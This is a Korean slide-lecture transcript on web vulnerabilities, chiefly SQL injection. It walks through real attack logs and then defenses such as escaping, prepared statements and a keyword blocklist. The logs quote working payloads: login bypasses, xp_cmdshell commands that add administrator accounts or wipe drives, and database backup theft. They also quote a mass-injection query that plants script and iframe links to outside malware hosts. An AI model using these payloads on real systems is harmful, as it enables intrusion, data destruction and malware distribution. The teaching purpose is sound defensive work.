Section II. 웹 취약점의 공격과 방어 3. 웹 취약점 분류 4. SQL Injection 5. XSS

Slides:



Advertisements
Similar presentations
CUBRID 소개 (Object 개념) 서비스 사업부 / 기술지원팀. 목차 구조 일반적 특징 객체지향 특징 ORDB 개념을 이용한 스키마 ORDB 개념을 이용한 질의.
Advertisements

1 SQL 정보보호학과 양 계 탁. 2 SQL 개요 SQL 개요 3 Database u 연관된 데이터들의 집합 u 데이터를 쉽게 관리하는 프로그램 종 류종 류 관계형 데이터베이스 객체지향형 데이터베이스 계층형 데이터베이스 네트워크 데이터베이스 데이터를 2 차원적인 테.
LOGO 중소기업체 대상 무료 정보보안컨설팅 제안서. LOGOClick To Edit Title Style 목 차 한국 IT 전문학교 해킹 피해 사례 제안의 개요 및 목적 보안컨설팅 수행 절차 기대효과 조직도 및 연락처.
SQLite 소개 및 안드로이드에서의 사용법
다양한 예제로 쉽게 배우는 오라클 SQL 과 PL/SQL
SQL 언어 SQL.
DB Injection과 대응방안 nwkim.
웹 프로그래밍 HTML, 자바스크립트, ASP를 중심으로
소리가 작으면 이어폰 사용 권장!.
김 상 국, 김 기 훈 한남대학교 컴퓨터공학과 데이터베이스 실험실
데이터 모델링 방법론 2003년 03월.
PL/SQL.
질의어와 SQL 기본 SQL 고급 SQL 데이타의 수정 데이타 정의 언어 내장 SQL
관계 대수와 SQL.
오라클 데이터베이스 성능 튜닝.
Database & Internet Computing Laboratory 한 양 대 학 교
C#에서 데이터베이스 연동 방법.
제 5 장 인덱스 생성 및 관리.
4장. 관계 대수와 SQL SQL 관계 데이터 모델에서 지원되는 두 가지 정형적인 언어
APM 실습 (MySQL).
SQL-99: 스키마 정의, 기본제약조건, 질의어 충북대학교 구조시스템공학과 시스템공학연구실
Chapter 05 SQL 인젝션 공격.
JDBC 프로그래밍 이수지 이동주 1.
You YoungSEok 고급 SQL You YoungSEok
SQL 개요 SQL 개요 - SQL은 현재 DBMS 시장에서 관계 DBMS가 압도적인 우위를 차지하는 데 중요한 요인의 하나
데이터베이스 담당교수 신정식 Chapter 4 SQL(1).
Toad for Oracle 설치 방법.
Chapter 04. 웹 보안 : 웹, 그 무한한 가능성과 함께 성장한 해킹
Chapter 01 데이터베이스 시스템.
11장. 데이터베이스 서버 구축과 운영.
기초 T-SQL.
트랜잭션과 잠금 트랜잭션 처리 메커니즘을 자세히 이해한다. 트랜잭션의 종류를 파악한다.
구글해킹과 SQL인젝션 지창훈, 최연우.
14장 뷰.
ㅎㅎ MS-SQL서버 2000과 XML MS-SQL 서버 2000과 XML 활용 HTTP를 이용한 XML 데이터 접근
Chapter 05 데이터베이스 프로그래밍.
4.2 SQL 개요 SQL 개요 SQL은 IBM 연구소에서 1974년에 System R이라는 관계 DBMS 시제품을 연구할 때 관계 대수와 관계 해석을 기반으로, 집단 함수, 그룹화, 갱신 연산 등을 추가하여 개발된 언어 1986년에 ANSI(미국 표준 기구)에서 SQL.
SQL Server™ 2000: DBA의 역할과 책임 하 성희.
SQL Server 2000 세미나 Profiler를 이용한 문제해결
차례 튜닝 - 프로필러를 이용한 튜닝 프로필러 친해지기 프로필러 결과 테이블로 만들기 프로필러 결과 분석하기
14 뷰(View) 뷰의 개념 뷰 관리.
뷰와 저장 프로시저 뷰의 개념을 이해한다. 뷰의 정의와 관리 방법을 이해한다. 뷰를 사용함으로써 생기는 장점을 알아본다.
9장 테이블 생성 및 변경, 삭제하기(DDL).
DP-ORA 쿼리 최적화 가이드 쿼리 최적화 방법 2014년 7월.
SQL.
시스템 보안 정보 보안 개론 9장.
YOU Youngseok 트랜잭션(Transaction) YOU Youngseok
01 데이터베이스 개론 데이터베이스의 등장 배경 데이터베이스의 발전 과정 데이터베이스의 정의 데이터베이스의 특징
다양한 예제로 쉽게 배우는 오라클 SQL 과 PL/SQL
다양한 예제로 쉽게 배우는 오라클 SQL 과 PL/SQL
Chapter 3: Introduction to SQL
다양한 예제로 쉽게 배우는 오라클 SQL 과 PL/SQL
고급 T-SQL.
CHAPTER 06. 데이터베이스 자료의 조직적 집합체_데이터베이스 시스템의 이해
13장 무결성 제약조건.
SQL Query in the SSMS : DB, Table
JSP 게시판 구현.
데이터베이스 (Database) SQL 추가 기능: 주장, 뷰, 프로그래밍 기법 문양세 강원대학교 IT대학 컴퓨터과학전공.
Database 중고차 매매 DB 비즈니스IT 윤동섭.
3장. SQL Server 2008전체 운영 실습 및 DB와 프로그램의 연동
오라클 쿼리 문제 EMP (사원 테이블) DEPT (부서 테이블) 컬럼명 설명 EMPNO 사원번호 ENAME 사원명 JOB
기본적인 SELECT문 작성.
8장 테이블의 생성 및 변경 정인기.
컬럼 대칭키 암호화 작업(SQL 2008) ① 마스터 키 생성 ② 인증서 생성 초기 한번만 실행 ③ 대칭키 생성
SQL INJECTION MADE BY 김 현중.
06. SQL 명지대학교 ICT 융합대학 김정호.
테이블 관리 테이블 생성,수정,삭제 데이터 입력 수정, 삭제 2010학년도 2학기.
뇌를 자극하는 Windows Server 장. 데이터베이스 서버.
Stored program 2 장종원
Stored program 장종원
Presentation transcript:

Section II. 웹 취약점의 공격과 방어 3. 웹 취약점 분류 4. SQL Injection 5. XSS 6. 파일 업로드 7. 파일 다운로드 8. 디렉토리 노출 9. 인증이 없는 관리자 페이지 10. 쿠키변조 및 재사용 11. 파라미터 변조를 통한 시스템 명령어 사용 12. 자바스크립트 우회 13. HTTP 메소드 14. 불필요한 파일 노출 15. 에러 노출 16. 검색엔진

학습 포인트 1. 웹 취약점 종류 및 원인에 대한 이해 2. 취약점별 공격로그의 이해 3. 취약점별 대책(코딩 및 설정)

3. 취약점 분류 사이트 : www.owasp.org 웹 취약점을 10가지 형태로 분류하고 정의하며, 웹 보안에 관심 있는 기업 및 개인이 함께 공통된 프로젝트 수행

3. 취약점 분류 구분 점검 항목 설 명 1 SQL Injection 로그인 폼 및 변수 값에 SQL 쿼리를 삽입하여 로그인 우회 및 DB를 변조 하는 공격 2 XSS 게시판 및 URL파라미터에 스크립트를 삽입하여 해당 글 혹은 링크를 클릭하는 사용자의 정보를 취득하는 공격 3 파일 업로드 ASP, PHP, JSP와 같이 파일을 업로드 하여 시스템 권한을 획득하는 공격 4 파일 다운로드 파일 다운로드 처리 파라미터를 조작하여 시스템 파일에 접근하는 공격 5 디렉터리 인덱싱 특정 디렉터리를 요청할 때 파일 목록이 보여지는 공격 6 관리자 페이지 노출 master.jsp, admin.php 등의 관리자 페이지 노출 및관리자 페이지에 대한 추가 취약점으로 인한 권한 획득 공격 7 쿠키 변조 쿠키 내 권한 관련 값 변조 및 도용하는 공격 8 URL 파라미터 변조 파라미터 변조를 통해 정상적인 절차(관리자 글 작성 제한 등)를 우회하는 공격 9 사용자 측 스크립트 변조 자바스크립트 및 히든필드 변조를 통해 인증 권한을 도용하는 행위 10 에러 페이지 노출 시스템 에러를 통해 시스템 정보를 획득하는 공격 11 중요 정보 노출 페이지 및 파일 내에 중요 정보(주민등록번호 등)가 포함되는 경우 12 백업 파일 노출 백업 파일 노출로 인해 시스템 로직을 파악하는 공격 13 기본 설치 페이지 노출 웹 서버 기본 페이지 등의 노출 14 HTTP Method 정보 노출 PUT, DELETE 메소드를 악용하여 파일 생성 및 삭제 등의 공격

4. SQL Injection – 데이터베이스의 이해(1) 데이터 : 현실 세계에서 존재하는 여러 가지 정보 예) 친구 이름, 주소 등 데이터베이스 : 데이터를 효율적으로 관리하기 위해 분리한 정보 데이터베이스 … 테이블 이름 주소 .. 제품명 가격 .. 사번 직책 .. 필드

4. SQL Injection – 데이터베이스의 이해(2) 데이터베이스의 테이블을 정의하고 작성한다. DLL 언어 : create(생성), alter(변경), drop(삭제) 데이터베이스를 추가, 갱신, 삭제 및 검색을 수행한다. DML 언어 : select, insert, update, delete 데이터베이스 보안과 데이터의 연속성을 유지한다. DCL 언어 : grant(권한할당), revoke(권한제거), commit(데이터변경승인) , rollback(데이터변경취소)

4. SQL Injection – 데이터베이스의 이해(3) Select * from 상품 ; Select * from 상품 where 상품이름 = ‘mp3’ ; 테이블 이름 : 상품 상품번호 상품이름 가격 1 Mp3 100,000 2 notebook 1000,000 ..

4. SQL Injection – 데이터베이스의 이해(4) insert into 상품 (상품번호, 상품이름, 가격) Values(100, ‘LCD’, ‘3000000’); 테이블 이름 : 상품 상품번호 상품이름 가격 1 mp3 100,000 2 notebook 1,000,000 .. 100 LCD 3,000,000

4. SQL Injection – 데이터베이스의 이해(5) update 상품 set 가격 = 50000 where 상품이름 = ‘mp3’ ; 테이블 이름 : 상품 상품번호 상품이름 가격 1 mp3 50000 2 notebook 1,000,000 .. 100 LCD 3,000,000

4. SQL Injection – 데이터베이스의 이해(6) Select * from 직장인 Union Select * from 학생; 두개의 조건 일치 ( 조건 : 두개의 데이터형이 동일 ) 직장인 학생

4. SQL Injection – 데이터베이스의 이해(7) select 지역이름, AVG(점포면적) from 지역 -------------- ① group by 지역이름 -------------- ② having AVG(점포면적) < 700; -------------- ③ ① 지점명 지역이름 점포면적 신사점 지역1 500 도곡점 지역2 560 … ③ 지역이름 AVG(점포면적) 지역1 670 지역3 400 ② 지역이름 AVG(점포면적) 지역1 670 지역2 890 지역3 400

4. SQL Injection – 데이터베이스의 이해(8) 숫자 형태에만 적용 가능 select sum(면적) 면적합계 from 지점; 테이블이름 : 지점 지점명 면적 직원수 신사점 800 20 도곡점 600 30 … 면적합계 : 32000

4. SQL Injection – 데이터베이스의 이해(8) select sum(지점명) 면적합계 from 지점; 테이블이름 : 지점 지점명 면적 직원수 신사점 800 20 도곡점 600 30 … 에러가 발생 ORA-01722 수 값이 유효하지 않습니다.

4. SQL Injection – 종류 구분 ① SQL Injection – 논리적 에러 예. SELECT * FROM user_data WHERE last_name = 'Your Name' or '1=1‘ ② Blind SQL Injection – 쿼리 결과 여부 예1. http://www.xxx.com/page.php?id=5 and 1=1 예2. http://www.xxx.com/page.php?id=5 and 1=2 ③ Union SQL Injection – 이중 쿼리 예1. http://www.site.com/news.php?id=5 union all select top 1 table_name from information_schema.tables ④ Stored Procedure SQL Injection - 저장프로시저 예1. http://www.site.com/member/checkid.asp?id= ';CREAT.....r.dbo.xp_cmdshell%20'netstat%20-an'; 12

4. SQL Injection – 원인은 무엇인가? System Object 권한제어 없이 기본 값 사용 1 ) exec master..xp_cmdshell 'net user administrator password'    디폴트 유저인 administrator의 패스워드 변경 2 ) exec master..xp_cmdshell 'dir c:\'    C 드라이브 정보 보기 3 ) exec master..xp_cmdshell 'del c:\ /q/s'    C 드라이브 파일 삭제 DB 계정을 관리자 계정(sa) 으로 일괄적 사용 1) bbs/bbs.asp?id=1

$id=admin $passwd= 1’ or ‘1=1 관리자로 로그인 성공 4. SQL Injection 기본 방법 이해 $id=admin $passwd= 1’ or ‘1=1 admin ********** 관리자로 로그인 성공 $strLoginSQL = "Select * from member where id = ‘admin' and password = ‘1’ or ‘1 = 1'"; $strLoginSQL = "Select * from member where id = '$strUserID' and password = '$strUserPass'"; FALSE TRUE TRUE

4. SQL Injection 기본 방법 이해 – 실습(1) ① ② ③

4. SQL Injection 기본 방법 이해 – 실습(2)

4. SQL Injection 기본 방법 이해 – 실습(3)

4. SQL Injection 기본 방법 이해 – 실습(4)

4. SQL Injection 기본 방법 이해 – 실습(5) 계정 ‘-- 암호 -- 에러정보 Uname=%27--&Pass=%27--&submitLogin=Submit 2) 계정 'or 1=1 암호 'or 1=1 'UserName = ''or 1=1' and Pass = ''or 1=1'‘ Quiz . 1번과 2번 정보를 바탕으로 어떤 값을 넣어야 하는가?

4. SQL Injection 공격 로그의 특징 ■ 서버 응답 코드가 500 보다 높거나 계속적인 다른 에러 ■ 서버 응답 코드가 500 보다 높거나 계속적인 다른 에러 - 응답코드 500 : Internal Server Error ■ 운영과 관련 없는 형태의 질의 요청(시스템 명령어 및 특수문자 포함 등) - 특수문자 : ‘ ; xp_cmdshell 등

4. SQL Injection 공격 로그 – 첫 번째 1. Number=2002-002412'|63|80040e14|'2002-002412''_문자열_앞에_닫히지_않은_인용_부호가_있습니다. 2. Number=2002-002412' and user=1 and ''='|63|80040e07|nvarchar_값_'team'을(를)_int_데이터_형식의_열로_변환 하는_중_구문_오류가_발생했습니다. 500 3. Number=2002-002412' And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And ''='|63|80040e07|varchar_값_'0|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500 4. /Report.asp Number=2002-002412' And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And ''='|63|80040e07|varchar_값_'1|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500 5. Number=2002-002412’; exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll' 6. Number=2002-002412’; EXEC%20MASTER..XP_CMDSHELL%20'echo%20^<iframe%20src=^'http://www.netpk.org/subway/icyfox.htm^'%20

4. SQL Injection 공격 로그 – 첫 번째 데이터타입불일치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예1) ' and user=1 and ''=‘ (예2) char(124)+user+char(124)=0 and '%'=‘ ( char(124)는 파이프를 의미함 |user|=0 ) 명령어 역할 User DB 사용자 이름 user_name(1) DB 사용자를 순차적으로 반환 current_name 현재 로그인한 DB 사용자 이름 session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모든 사용자 정보에 대해서 확인 sys.syslogins 모든 사용자의 로그인한 히스토리 정보 sp_helplogins 로그인 정보에 대해서 확인 sys.sql_logins SQL 로그인 정보. ID, 패스워드 해쉬값 xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인 has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

4. SQL Injection 공격 로그 – 첫 번째 확인한 계정의 서버역할이 sysadmin 인지 요청함 ' And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And ''=‘ IS_SRVROLEMEMBER(서버역할) sysadmin 관리자권한(모든권한수행) serveradmin 서버차원의 설정을 구성 setupadmin 연결된 서버 추가 및 제거 securityadmin 서버 로그인 관리 processadmin SQL 인스턴스에서 실행중인 프로스세 관리

4. SQL Injection 공격 로그– 첫 번째 확인한 계정의 DB역할이 db_owner 인지 요청함 ' And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And ''=' IS_MEMBER(DB역할) db_owner 모든 db역할 수행 db_accessadmin db내 사용자 추가 및 삭제 db_datareader 사용자테이블에서 모든 데이터 보기

4. SQL Injection 공격 로그 – 첫 번째 마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 ’; exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll‘ * MS SQL의 기본 DB 구성 요소 Master db : 로그인 계정, 환경설정, 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요) Msdb : 작업정의, 연산자, 수정작업과 같은 정보 저장 Model : 참조 db이며, 사용자를 이를 바탕으로 db 작성 Tempdb : 임시 테이블 및 임시 저장 프로시저 저장 * 저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합, 특정 작업을 일괄 처리하기위한 용도로 사용

4. SQL Injection 공격 로그 – 첫 번째 생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(<iframe>…..) 및 소스 중간 삽입 ’; EXEC%20MASTER..XP_CMDSHELL%20'echo%20^ <iframe%20src=^'http://www.netpk.org/subway/icyfox.htm^'%20 악성프로그램(다운로드) 사용자 <iframe src=http://xxx.xxx>

4. SQL Injection 공격 로그 – 두 번째 2007-01-05 15:50:54 XXX.XXX.24.57 – [피해 시스템 IP] 80 GET /member/checkid.asp id=';CREAT.....r.dbo.xp_cmdshell%20'netstat%20-an'; 2007-01-05 15:51:42 XXX.XXX.24.57 – [피해 시스템 IP] 80 GET /member/checkid.asp id=';CR.....mdshell%20'net%20user%203800hk%203800hk%20/add'; --- 중략 --- 2007-01-05 15:51:59 XXX.XXX.24.57 – [피해 시스템 IP] 80 GET /member/checkid.asp id=';CRE.....shell%20'net%20localgroup%20administrators%203800hk%20/add'; --- 중략 -- ');exec%20master.dbo.sp_dropextendedproc%20'xp_cmdshell'-- 200 확장형 저장 프로시저 (xp_cmdshell)제거 - dropextendedproc ;exec%20master.dbo.sp_dropextendedproc%20'xp_cmdshell'--

4. SQL Injection 공격 로그 – 세 번째 /Test/Test.asp Code= Bank' &Number=7 &Ref=7' &Page=1&Sear=Writer&Key= |24|80040e14| '_SET_Visited=Visited+1_WHERE_Number_=_7'_문자열_앞에_닫히지_ 않은_인용_부호가_있습니다. 500 === 초기형태로 특수문자(‘)후 에러 노출 여부 확인 목적 /Report.asp Number=2002-002412' and user=1 and ''=‘ |63|80040e07|nvarchar_값_'blabla'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_ 발생했습니다. 500 === 에러 노출을 이용한 db 계정 획득 목적 200X-09-10 06:24:49 /Report.asp Number=2002-002412' And Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))+char(124)=1 And ''=‘ |63|80040e07|varchar_값_'0|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_ === db계정(blabla)가 sysadmin 인지를 확인

4. SQL Injection 공격 로그 – 세 번째 IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) = IS_SRVROLEMEMBER(sysadmin)

4. SQL Injection 공격 로그 – 세 번째 /Report.asp Number=2002-002412' And Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) as varchar(1))+char(124)=1 And ''='|63|80040e07|varchar_값_'1|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500 === db_owner인지 확인 요청 Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) = Cast(IS_MEMBER(db_owner)

4. SQL Injection 공격 로그 – 세 번째 200X-09-10 06:24:52 /Report.asp Number=2002-002412' And db_name()+char(124)=0 And ''='|63|80040e07|nvarchar_값_'blabla|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500 Microsoft+URL+Control+-+6.00.8862 db_name() 함수 : 데이터베이스 이름 제공

4. SQL Injection 공격 로그 – 세 번째 /Report.asp Number=2002-002412';DROP TABLE NB_TreeList_Tmp;CREATE TABLE NB_TreeList_Tmp(subdirectory nvarchar(256) NULL,depth tinyint NULL,[file] bit NULL)-- 200 Microsoft+URL+Control+-+6.00.8862 테이블 삭제 ( drop nb_treelist_tmp ) 테이블 생성 ( create table nb_treelist_tmp … )

4. SQL Injection 공격 로그 – 세 번째 200X-09-10 06:25:22 /Report.asp Number=2002-002412';Insert NB_TreeList_Tmp exec master..xp_dirtree 'C:\',1,1-- 200 Microsoft+URL+Control+-+6.00.8862 === 디렉토리 정보 테이블에 삽입 exec master..xp_dirtree 'C:\‘ 1

4. SQL Injection 공격 로그 – 세 번째 200X-09-10 06:25:22 /Report.asp Number=2002-002412' And (Select Top 1 cast([subdirectory] as varchar(256))+char(124)+cast([file] as varchar(1))+char(124) From(Select Top 1 [subdirectory],[file] From NB_TreeList_Tmp ORDER BY [file],[subdirectory]) T ORDER BY [file] desc,[subdirectory] desc)=0 And 'fALSE'<>'|63|80040e07|varchar_값_'ASFRoot|0|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500 200X-09-10 06:25:32 /Report.asp Number=2002-002412' And (Select Top 1 cast([subdirectory] as varchar(256))+char(124)+cast([file] as varchar(1))+char(124) From(Select Top 21 [subdirectory],[file] From NB_TreeList_Tmp ORDER BY [file],[subdirectory]) T ORDER BY [file] desc,[subdirectory] desc)=0 And 'fALSE'<>'|63|80040e07|varchar_값_'WS_FTP.LOG|1|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500

4. SQL Injection 공격 로그 – 세 번째 SQL> SELECT rowid, rownum, deptno, dname from dept; ROWID    ROWNUM     DEPTNO DNAME ------------------ ---------- ---------- -------------- AAA          1          10 ACCOUNTING AAB          2          20 RESEARCH AAC          3          30 SALES AAD          4          40 OPERATIONS   SQL> SELECT ENAME, SAL, ROWNUM FROM(SELECT * FROM EMP ORDER BY SAL DESC); ENAME             SAL     ROWNUM ---------- ---------- ---------- ABBK 7000         1 KING             5000          2 FORD             3000          3 SCOTT            3000          4 JONES            2975          5 BLAKE            2850          6 CLARK            2450          7 ALLEN            1600          8

4. SQL Injection 공격 로그 – 세 번째 200X-09-10 06:33:17 /Report.asp Number=2002-002412';declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x6C006F00760065002E00620061006B00 backup database @a to disk=@s;-- 200 Declare : 선언하는 함수 @a를 sysname ( @a=db_name() 는 데이터베이스이름을 @a로 할당) - @s를 nvarchar(4000)형태로 4000바이트의 공간 할당하며, 16진수형태이름을 할당함, 즉 love.bak라는 이름을 @s로 별칭줌 @s=0x6C006F00760065002E00620061006B00 - Backup database @a(db_name()) to disk=@s 참고) 백업 명령: backup database 데이터베이스이름 to 백업장치

4. SQL Injection 공격 로그 – 네 번째 200X-XX-13 14:15:45 x.x.x.x GET /totalboards/bbs/view.asp board_id=normal93&number=2'%20update%20normal%20set%20subject%20=%20'%3CB%3E!nf3rN.4lL%3C/b%3E';--|402|800a000d|형식이_일치하지_않습니다.:_'cint' Update normal(테이블이름) set subject(필드) = '<h2>!nf3rN.4lL Was Here</2>‘(내용); 참고)update 테이블이름 set 필드이름 = ‘변경내용’ Quiz. 공격자는 사전에 테이블이름과 필드이름, 필드타입 등을 어떻게 취득 가능하였을 까?

4. SQL Injection 공격 로그 – 네 번째 Quiz. 공격자는 사전에 테이블이름과 필드이름, 필드타입 등을 어떻게 취득 가능하였을 까? 에러 ‘having 1=1-- 테이블 이름 : FSB_USERS 필드 : user_id

4. SQL Injection 공격 로그 – 네 번째 테이블 이름 : FSB_USERS 필드 : user_id 그렇다면 다른 필드 값은 어떻게? ‘group by user_id having 1=1-- 테이블 이름 : FSB_USERS 필드 : user_id user_name

4. SQL Injection 공격 로그 – 네 번째 테이블 이름 : FSB_USERS 필드 : user_id user_name user_id password creation_date 그렇다면 필드의 데이터 타입은? 'UNION select sum(user_id) from FSB_USERS having 1=1-- 참고 : sum은 숫자 타입에만 사용 가능 The sum or average aggregate operation cannot take a varchar data type as an argument.

4. SQL Injection 공격 로그 – 네 번째 결론 : 결국 데이터베이스 정보(테이블 및 필드 이름, 필드 타입)확보를 통해 임의 데이터 변조가 가능함 테이블 이름 : FSB_USERS 필드 : user_id ( integer ) user_name ( varchar ) user_id ( varchar ) password ( varchar ) creation_date ( datetime ) 'insert into FSB_USERS values (user_id, ‘user_name', ‘user_id', ‘password', GETDATE())--

4. SQL Injection 공격 로그 – 다섯 번째 Mass SQL Injection : 데이터베이스의 정보를 악용하여 악성코드 링크를 특정 테이블의 필드 혹은 전체 테이블의 필드(게시판 등)에 삽입하여 접속하는 사용자를 악성코드에 감염시키는 대량 공격 기법 http://xxx.com 데이터베이스 사용자 … 테이블 게시판 사용자 우편번호 필드 <script src=http://xxx.com>

4. SQL Injection 공격 로그 – 다섯 번째 GET /home/site_content_3.asp s=290';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x6400650063006C006100중간생략…00200040006D003D005200450056004500520053004500280040006D0029003B00730065007400200040006D003D0073007500620073007400720069006E006700280040006D002C0050004100540049004E004400450058002800270025003B00250027002C0040006D0029002C00380030003000300029003B00730065007400200040006D003D005200450056004500520053004500280040006D0029003B006500780065006300280040006D0029003B00%20AS%20NVARCHAR(4000));EXEC(@S);-- declare @m varchar(8000);set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+''<script src="http://yl18.net/0.js"></script>'';' from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar'; set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERSE(@m);exec(@m);

4. SQL Injection 공격 로그 – 다섯 번째 Sysobjects(데이터베이스에서 만들어진 각 개체(제약 조건, 기본값, 로그, 규칙, 저장 프로시저 등)에 대해 한 행을 포함합니다. syscolumns(모든 테이블과 뷰에 있는 각 칼럼 정보 제공), systypes(데이터베이스에 있는 모든 시스템 데이터 타입과 정의 데이터 타입을 제공) Sysobjects 정보

4. SQL Injection 공격 로그 – 다섯 번째 sysobjects의 type 필드 C = CHECK 제약 조건 D = 기본값 또는 DEFAULT 제약 조건 F = FOREIGN KEY 제약 조건 FN = 스칼라 함수 IF = 인라인 테이블 함수 K = PRIMARY KEY 또는 UNIQUE 제약 조건 L = 로그 P = 저장 프로시저 R = 규칙 RF = 복제 필터 저장 프로시저 S = 시스템 테이블 TF = 테이블 함수 TR = 트리거 U = 사용자 테이블 V = 뷰 X = 확장 저장 프로시저 Quiz. 어떤 의미인가? select * from sysobjects where type = 'U';

4. SQL Injection 공격 로그 – 다섯 번째 Syscolumns, systypes 정보

4. SQL Injection 공격 로그 – 다섯 번째 declare @m varchar(8000);set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+''<script src="http://yl18.net/0.js"></script>'';' from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar'; set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERSE(@m);exec(@m); Sysobjects(테이블 이름) Syscolumns(테이블 필드), Systypes(테이블 필드의 데이터 타입) dbo.sysobjects a ( sysobjects를 a 로 별칭 ) dbo.syscolumns b ( syscolumn를 b 로 별칭 ) dbo.systypes c ( systypes를 c 로 별칭 ) where a.id=b.id and a.xtype='U‘ and b.xtype=c.xtype and c.name='varchar'; 테이블정보 사용자테이블 테이블 필드 데이터필드 중 varchar

4. SQL Injection 공격 로그 – 다섯 번째 declare @m varchar(8000);set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+''<script src="http://yl18.net/0.js"></script>'';' from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar'; set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERSE(@m);exec(@m); Sysobjects(테이블 이름) Syscolumns(테이블 필드), Systypes(테이블 필드의 데이터 타입) UPDATE 테이블명 SET 속성명 = 데이터[, 속성명 = 데이터, ..] WHERE 조건; 예) <사원> 테이블에서 홍길동의 주소를 '이월면' 으로 갱신하는 SQL문 UPDATE 사원 SET 주소='이월면' WHERE 이름='홍길동';‘ update['+a.name+']set['+b.name+']= rtrim(convert(varchar,'+b.name+'))+''<script src="http://yl18.net/0.js"></script>'';'

4. SQL Injection 공격 로그 – 다섯 번째 declare @m varchar(8000);set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+''<script src="http://yl18.net/0.js"></script>'';' from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar'; set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERSE(@m);exec(@m); reverse()함수 - 문자열을 역순으로 출력 substring()함수 – 문자열의 시작위치를 지정하고, 해당 위치부터 길이를 출력 형식: SUBSTRING(문자열, 시작위치, 길이) (예) SELECT Substring('abcde',2,3) 결과>> bcd patindex()함수 - 문자열이 시작되는 위치 알려줌 쿼리 실행 전 게시판 글 변조된 형태 : 게시판;<script>; Reverse()함수적용: ;<tpircs>;판시게 Substring()함수적용 : 기존 게시판 글 일부 손실을 방지하기 위해 ;부터 시작해서 8000바이트 정도를 출력하고 다시 이를 reverse하여 원래의 형태로 변경함 Reverse()함수적용: 게시판;<script>;

4. SQL Injection 공격 로그 – 다섯 번째 감염된 사이트에 대한 Google 검색 site:co.kr 1.js

4. SQL Injection 공격 대책 ASP. Replace()함수를 사용하여 특수문자(‘) 등을 일반문자열로 변환 (예) Prodid = replace(prodid, "'", "''“)

4. SQL Injection 공격 대책 PHP. addslashes() 함수 사용 특수문자 필터링 (예) $query=sprintf("SELECT id, password, username FROM user_table WHERE id='%s';“ , addslashes($id));

4. SQL Injection 공격 대책 JSP. preparedStatement 를 사용하면 쿼리시의 value에 특수문자(‘)는 입력값 자체로 처리되어 SQL Injection을 차단함

4. SQL Injection 공격 대책 ASP(MS SQL)사이트에서는 DB연결 파일에 적용하여 전체 페이지에 적용하지 않고 필터링 효과를 제공 받을 수 있다. sql_pattern = Array("-", ";", "/*", "*/", "@@", "@", "char", "nchar", "varchar", "nvarchar", "alter", "begin", "cast", "create", "cursor", "declare", "delete", "drop", "end", "exec","execute", "fetch", "insert", "kill", "open","select", "sys", "sysobjects", "syscolumns","table", "update", "<script", "</script>", "'") ( 공격패턴 정의 ) for each item in Request.QueryString ( GET방식 입력 값 ) for array_counter = lbound(sql_pattern) to ubound(sql_pattern) ( sql_pattern 배열크기계산 ) item_position1 = InStr(lcase(Request(item)), sql_pattern(array_counter)) Instr()함수는 들어온 문자열을 검사합니다. lcase()함수는 대문자를 소문자로 무조건 변환 if (item_position1 > 0) or (item_position2 > 0) then ( 공격문자열이 있는 경우 ) Response.Write("악의적인 문자열이 포함되어 있습니다.“)

4. SQL Injection 공격 대책 자바 스크립트를 이용한 사용자 입력 값 필터링

